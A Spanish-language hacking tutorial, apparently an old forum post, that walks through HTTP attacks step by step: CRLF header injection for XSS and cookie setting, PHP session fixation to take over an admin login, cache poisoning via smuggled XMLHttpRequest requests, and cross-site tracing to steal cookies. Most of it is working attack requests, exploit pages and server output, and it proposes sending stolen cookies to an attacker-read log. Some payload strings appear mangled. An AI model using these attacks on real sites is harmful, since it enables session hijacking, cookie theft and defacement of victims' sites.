• CRLF en Headers
• Seteo de Headers/Cookies/Sessiones sin autorización
• Estructura y Funcionamiento Sessiones y ... Backdoorizando Sessiones PHP
• Explotando xmlhttprequest

Vamos por partes. Que es CRLF? para no repetir simplemente les dire, lean esto: CRLF

Otra forma de CRLF:

Vamos a Crear un XSS Mediante CRL en cualquier Header Seteable, por ejemplo en un Location:

GET /vuln.php?page=%0D%0A%0D%0A<script>alert(document.cookie)</script> HTTP/1.1
Host: victima.com

Donde vuln tiene el siguiente código:
<?php
header('Location: http://victima.com/'.$_GET['page']);
?>

Lo que nos respondería a esa consulta HTTP seria algo como esto:

HTTP/1.1 200 OK
Server: Apache/2.2.8 (Unix) DAV/2 mod_ssl/2.2.8 OpenSSL/0.9.8e PHP/5.2.5 mod_apreq2-20051231/2.6.0 mod_perl/2.0.2 Perl/v5.10.0
Location: http://victima.com/

<script>alert(document.cookie)</script>
Connection: Keep-Alive
Content-Type: text/html

Ok el navegador interpretara el script ya que al tener doble salto de linea esta en el campo del contenido de la web, entonces lanzara ese llamativo alert que tanto amamos jeje.



Bueno ya conocemos una forma del CRLF, pero tambien se pueden usar esta clase de headers para setear cookies/sessiones/otros headers.

GET /vuln.php?page=%0D%0ASet-Cookie: PHPSESSID=xianur0
Host: victima.com

Respondera:

HTTP/1.1 200 OK
Server: Apache/2.2.8 (Unix) DAV/2 mod_ssl/2.2.8 OpenSSL/0.9.8e PHP/5.2.5 mod_apreq2-20051231/2.6.0 mod_perl/2.0.2 Perl/v5.10.0
Location: http://victima.com/
Set-Cookie: PHPSESSID=xianur0
Connection: Keep-Alive
Content-Type: text/html

Bueno supongo que ya entenderan este concepto, pasemos al siguiente..


Que es una SESSION PHP?
Definamoslo como un registro que se almacena en el servidor, el cual contendra datos similares a las cookies, pero que no son visibles en el envio de datos HTTP, estos registros usan un identificador aleatorio (un código random) el cual viaja en el Header HTTP Cookie o en la url como un GET (index.php?SESSID=xianur0) del cliente.

GET / HTTP/1.1
Host: victima.com
Cookie: PHPSESSID=xianur0

Entonces el servidor reconoce que nuestra SESSION se llama xianur0.

Estando esta session definida en el servidor utilizara dicha session en todas las acciones PHP que impliquen sessiones, también esto implica un archivo en la carpeta temporales de las sessiones de nombre: sess_xianur0, la cual contiene los datos de la session.

Otro Equivalente al mensaje HTTP anterior es:

GET /?PHPSESSID=xianur0 HTTP/1.1
Host: victima.com

mediante esto no es necesario que exista la cookie seteada en el navegador, esto es mas que efectivo para atacar logins PHP que emplean SESSIONES y envian los datos al mismo archivos (no se especifica el action).

<form method="POST">
<b>Usuario: </b><input type="text" name="user">
<b>Password: </b><input type="text" name="password">
</form>
suponiendo que la url donde se encuentra el archivo sea algo como:

http://victima.com/login.php

si logramos que el usuario entre a:

http://victima.com/login.php?PHPSESSID=xianur0

y se logie, PHP usara la session especificada en el uri entonces nosotros podremos usarla en cuanto esta tenga los datos jejeje.

GET /admin.php HTTP/1.1
Host: victima.com
Cookie: PHPSESSID=xianur0

O

GET /admin.php?PHPSESSID=xianur0 HTTP/1.1
Host: victima.com

y si todo anda bien, somos admins jejeje




Vamos por partes, que es xmlhttprequest (XHR)?

También referida como XMLHTTP (Extensible Markup Language / Hypertext Transfer Protocol), es una interfaz empleada para realizar peticiones HTTP y HTTPS a servidores WEB. Para los datos transferidos se usa cualquier codificación basada en texto, incluyendo: texto plano, XML, JSON, HTML y codificaciones particulares específicas. La interfaz se presenta como una clase de la que una aplicación cliente puede generar tantas instancias como necesite para manejar el diálogo con el servidor.

El uso más popular, si bien no el único, de esta interfaz es proporcionar contenido dinámico y actualizaciones asíncronas en páginas WEB mediante tecnologías construidas sobre ella como por ejemplo AJAX.

(Gracias Wikipedia por ahorrarme el trabajo de definir xD...).

Vamos a poner un caso verídico:

Tengo un servidor web con varios virtual host, en uno de ellos puedo subir archivos html pero en ese mismo servidor web (apache) hay otro virtual host configurado, si no es un servidor rooteable o simplemente soy demasiado peresoso como para hacerlo, como lo defaciaria el otro dominio?, muy simple, vamos a usar el servidor para cruzar dominios (de la víctima al mio) y XHR con tan solo un clic .

Método 1 Envenenar la Cache el Navegador de la victima:

<html>
<body>
<script>
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.open("GETt/tHTTP/1.1rnHost:twww.victima.comrnProxy-Connection:tKeep-AlivernrnGETt/exploits.htmt",false);
x.send();
window.open("http://www.victima.com/");
</script>
</body>
</html>
el archivo exploits.html contendría algo como:

<script>alert(document.cookie)</script>
lo que haria esto seria en consultas HTTP lo siguiente:

GET /exploit.html HTTP/1.1
Accept: */*
Accept-Language: es-mx
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MEGAUPLOAD 2.0; .NET CLR 2.0.50727)
Host: atacante.com
Connection: Keep-Alive

HTTP/1.1 200 OK
Date: Sun, 21 Dec 2008 21:26:11 GMT
Server: Apache/2.2.8 (Unix) DAV/2 mod_ssl/2.2.8 OpenSSL/0.9.8e PHP/5.2.5 mod_apreq2-20051231/2.6.0 mod_perl/2.0.2 Perl/v5.10.0
Last-Modified: Sun, 21 Dec 2008 21:25:58 GMT
Accept-Ranges: bytes
Content-Length: 287
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

<html>
<body>
<script>
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.open("GETt/tHTTP/1.1rnHost:twww.victima.comrnProxy-Connection:tKeep-AlivernrnGETt/exploits.htmt",false);
x.send();
window.open("http://www.victima.com/");
</script>
</body>
</html>

GET.http://www.victima.com/.HTTP/1.1
Host:.www.victima.com
Proxy-Connection:.Keep-Alive

GET./exploits.htm. HTTP/1.1
Accept: */*
Accept-Language: es-mx
Referer: http://atacante.com/exploit.html
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MEGAUPLOAD 2.0; .NET CLR 2.0.50727)
Host: atacante.com
Content-Length: 0
Connection: Keep-Alive
Cache-Control: no-cache

HTTP/1.1 200 OK
Date: Sun, 21 Dec 2008 21:26:11 GMT
Server: Apache/2.2.8 (Unix) DAV/2 mod_ssl/2.2.8 OpenSSL/0.9.8e PHP/5.2.5 mod_apreq2-20051231/2.6.0 mod_perl/2.0.2 Perl/v5.10.0
Accept-Ranges: bytes
Content-Length: 151
Content-Type: text/html

<html>
<head>
<title>Web de la Victima</title>
</head>
<body>
Web de la Victima
</body>
</html>
HTTP/1.1 200 OK
Date: Sun, 21 Dec 2008 21:26:11 GMT
Server: Apache/2.2.8 (Unix) DAV/2 mod_ssl/2.2.8 OpenSSL/0.9.8e PHP/5.2.5 mod_apreq2-20051231/2.6.0 mod_perl/2.0.2 Perl/v5.10.0
Connection: close
Content-Type: text/html

<script>alert(document.cookie)</script>


es decir, al enviarse 2 peticiones en una misma conexion, el servidor concateno los datos de ambas webs (la del exploit y la del index de la victima).

Metodo 2 XSS Mediante TRACE
Que es TRACE?
No me jodan y lean esto: Demostracion Hacking HTTP

Ya entendido esto vamos a la explotación .....XST (Un Nuevo Cross Site Tracing)

<html>
<body>
<script>
var cookies;
var xml = new ActiveXObject("Microsoft.XMLHTTP");
xml.open("GETt/tHTTP/1.1rnHost:tatacante.comrnProxy-Connection:tKeep-AlivernrnTRACEt/http://victima.com?xss=<script>alert(document.cookie)rnHost:tvictima.com",false);
xml.send();
document.write(xml.responseText);
</script>
</body>
</html>
este bug de xmlhttp permite evadir el filtrado de metodos http del navegador, el resultado sera que se imprima incluso la cookie de la víctima ... pero podemos colocar el valor de xml.responseText en una variable y enviarla a algún code que haga de log, después nosotros lo leemos/usamos y hacked jejeje...